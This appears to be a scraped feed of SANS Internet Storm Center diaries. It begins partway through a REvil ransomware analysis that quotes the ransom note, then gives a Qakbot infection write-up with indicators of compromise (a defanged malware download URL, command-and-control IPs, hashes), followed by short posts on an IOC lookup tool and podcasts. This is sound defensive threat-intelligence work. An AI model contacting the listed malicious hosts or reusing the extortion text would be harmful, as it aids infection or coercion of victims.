[+] Your secret data [+] We have uploaded all your private information, if no payment comes from you, we will post proof: hxxps://ibb[.]co/thJQ77F hxxps://ibb[.]co/cbd1CW6 hxxps://ibb[.]co/2FHfJp9 hxxps://ibb[.]co/h8vf4Y1 hxxps://ibb[.]co/MZ8WR2c hxxps://ibb[.]co/qkCjvp6 hxxps://ibb[.]co/D4hp7WN hxxps://ibb[.]co/k6JcMpm hxxps://ibb[.]co/0ZB3GxF

My sandbox being offline (network disconnected), there was no way to upload sample files to a cloud service. Files are just fake ones and do not belong to the victim!

I tried to run the ransomware again, this time with a fake network, and no network traffic was generated. The URLs with files remain the same, like hardcoded. Finally, I visited the Onion website provided in the readme file:

They provide a tool to submit some files to prove they can decrypt them and it worked. My REMnux wallpaper was decrypted! Ouf!

Based on these screenshots, we have indeed a REvil or Sodinokibi as described Talos last year in a blog post[5] but this time, it seems the way the attackers drop the malware changed... 

[1] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/
[2] https://www.virustotal.com/gui/file/e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf/detection
[3] https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
[4] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[5] https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 21.

ISC Stormcast For Thursday, January 21st, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7338, (Thu, Jan 21st)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 20.

ISC Stormcast For Wednesday, January 20th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7336, (Wed, Jan 20th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 20.

Qakbot activity resumes after holiday break, (Wed, Jan 20th)

Introduction

Although the botnet infrastructure behind Qakbot was active as we entered this year, we hadn't seen any active campaigns spreading Qakbot.  Qakbot had been quiet since a few days before Christmas.  We saw no new malicious spam (malspam), and we saw no new Excel spreadsheets that we typically find during active campaigns.

It had been relatively quiet for Qakbot until Tuesday 2021-01-19, when we started seeing malicious spam (malspam) pushing Qakbot again.  @BushidoToken tweeted about it here.

Today's diary examines a Qakbot infection from Tuesday 2021-01-19.

Shown above:  Flow chart for recent Qakbot activity.

The malspam

No changes here.  Qakbot malspam typically spoofs stolen email chains from previously-infected Windows hosts, and it feeds the data to currently-infected Windows hosts that send new malspam pushing updated files for Qakbot.  See the image below for an example from Tuesday 2021-01-19.


Shown above:  An example of Qakbot malspam from Tuesday 2021-01-19.


Shown above:  Screenshot from one of the spreadsheets I used to infected a Windows host with Qakbot.

Infection traffic

See the images below for my analysis of network traffic from the Qakbot infection.


Shown above:  Traffic from the Qakbot infection filtered in Wireshark.


Shown above:  Excel macro retrieving the initial DLL file for Qakbot.


Shown above:  More post-infection activity from the Qakbot-infected Windows host.


Shown above:  Traffic over TCP port 65400 caused by Trickbot.


Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 1 of 3).

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 2 of 3).


Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 3 of 3).

Forensics on infected Windows host

See the images below for my forensic investigation on the infected Windows host.


Shown above:  Initial Qakbot DLL saved to the infected Windows host.


Shown above:  Other artifacts from the infected Windows host.


Shown above:  Windows registry updates caused by Qakbot on the infected host.

Indicators of Compromise (IOCs)

SHA256 hash: 8ebba35fa60f107aa4e19fa39ae831feab4ffb1718bdca016670d3898b2fe4fc

  • File size: 25,543 bytes
  • File name: Complaint_Copy_1206700885_01192021.xlsm
  • File description: Spreadsheet with macro for Qakbot

SHA256 hash: f9560829534803161c87666795f0feab028ff484fac5170b515390b50e8050fd

  • File size: 1,545,688 bytes
  • File location: hxxp://senzo-conseil-expat[.]fr/bqkckb/5555555555.jpg
  • File location: C:\Users\[username]\AppData\Roaming\KKEEDTT.DEEREDTTDVD
  • File description: Initial DLL for Qakbot
  • Run method: rundll32.exe [filename],DllRegisterServer

HTTP request caused by Excel macro to retrieve DLL for Qakbot:

  • 51.210.14[.]58 port 80 - senzo-conseil-expat[.]fr - GET /bqkckb/5555555555.jpg

HTTPS traffic from the infected host:

  • 95.76.27[.]6 port 443
  • 185.14.30[.]127 port 443
  • 172.115.177[.]204 port 2222

Web traffic connectivity checks from the infected host (HTTPS traffic):

  • port 443 - www.openssl.org
  • port 443 - api.ipify.org

TCP traffic from the infected host:

  • 54.36.108[.]120 port 65400

Connectivity checks to mail servers from the infected host:

  • 172.217.195.109 port 993 - imap.gmail.com
  • 108.177.104.28 port 25 - smtp-relay.gmail.com
  • 108.177.104.28 port 465 - smtp-relay.gmail.com
  • 108.177.104.28 port 587 - smtp-relay.gmail.com
  • 64.29.151.102 port 110 - mail.myfairpoint.net
  • 64.29.151.102 port 143 - mail.myfairpoint.net
  • 74.6.106.29 port 995 - inbound.att.net

Certificate issuer data for HTTPS traffic to 95.76.27[.]6 over TCP port 443:

  • id-at-countryName=NL
  • id-at-stateOrProvinceName=ED
  • id-at-localityName=Dadoe
  • id-at-organizationName=Letx Uqe Dzcmtewzs Kctonlfg Inc.
  • id-at-commonName=epeivate.biz

Certificate issuer data for HTTPS traffic to 185.14.30[.]127 over TCP port 443:

  • id-at-countryName=US
  • id-at-stateOrProvinceName=NY
  • id-at-localityName=New York
  • id-at-organizationName=cloudservers03.com
  • id-at-commonName=cloudservers03.com


Certificate issuer data for HTTPS traffic to 172.115.117[.]204 over TCP port 2222:

  • id-at-countryName=DE
  • id-at-stateOrProvinceName=IQ
  • id-at-localityName=Aeur
  • id-at-organizationName=Cepasduq Nqo Ooifzetkp Mqen
  • id-at-commonName=ltxkvijevns.com

Final words

A pcap of the infection traffic along with malware (Excel file and DLL) from an infected host can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 19.

Security Detection &#x26; Response Alert Output Usability Survey https://www.surveymonkey.com/r/TAOvsVAO, (Tue, Jan 19th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 19.

Gordon for fast cyber reputation checks, (Tue, Jan 19th)

Gordon quickly provides threat & risk information about observables

Gordon is a great website for security analysis and threat intelligence practitioners courtesy of Marc-Henry Geay of France.
It’s a fine offering that quickly provides threat and risk information about observables such as IPv4 addresses, URLs, Domains/FQDNs, MD5, SHA-1, SHA-256 hashes, or email addresses.

All aspirations and architecture for Gordon are available in Marc-Henry’s Medium post, as well as his About content.
You really need only know the following in any detail:

  • Gordon submits your observables (IOCs) to multiple sources (30+ engines) to ensure good coverage.
  • Observables are only searched in open security databases’ existing records (passive).
  • Results can be viewed and shared for up to 3 days, thereafter they are deleted, Marc-Henry has EU privacy regulations to contend with.
  • Results are available as Summary Reports with risk-based coloration for some engines, and can be exported as PDF, CSV, and XLSX.

I gave Gordon a quick test using IPv4 IOCs from the Cisco Talos Threat Advisory: SolarWinds supply chain attack. Gordon limits you to 15 observables at most, and note that it favors non-Microsoft browsers, so I experimented via Firefox. Using ten IP IOCs, separated one per line, I received swift results as seen in Figure 1.

Figure 1: Gordon IPv4 SUNBURST results

As noted, Figure 1: shows IPvs SUNBURST IOC results that are precise and color coded by risk.
Using ten SHA-256 hashes from the Talos report for my next query I opted to export the results as an Excel document, then sorted by malicious results only.

Figure 2: Gordon SHA-256 query results

Again, the SUNBURST SHA-256 IOC results are robust and detailed. I’ve certainly added Gordon to my favorites list and suggest you consider doing the same.

Cheers…until next time.

Russ McRee | @holisticinfosec

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 19.

ISC Stormcast For Tuesday, January 19th, 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7334, (Tue, Jan 19th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 18.

The CIS Benchmark for Cisco Nexus (NX-OS) 1.0 went live last week, find it here: https://www.cisecurity.org/cis-benchmarks/, (Mon, Jan 18th)

=============== Rob VandenBrink

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.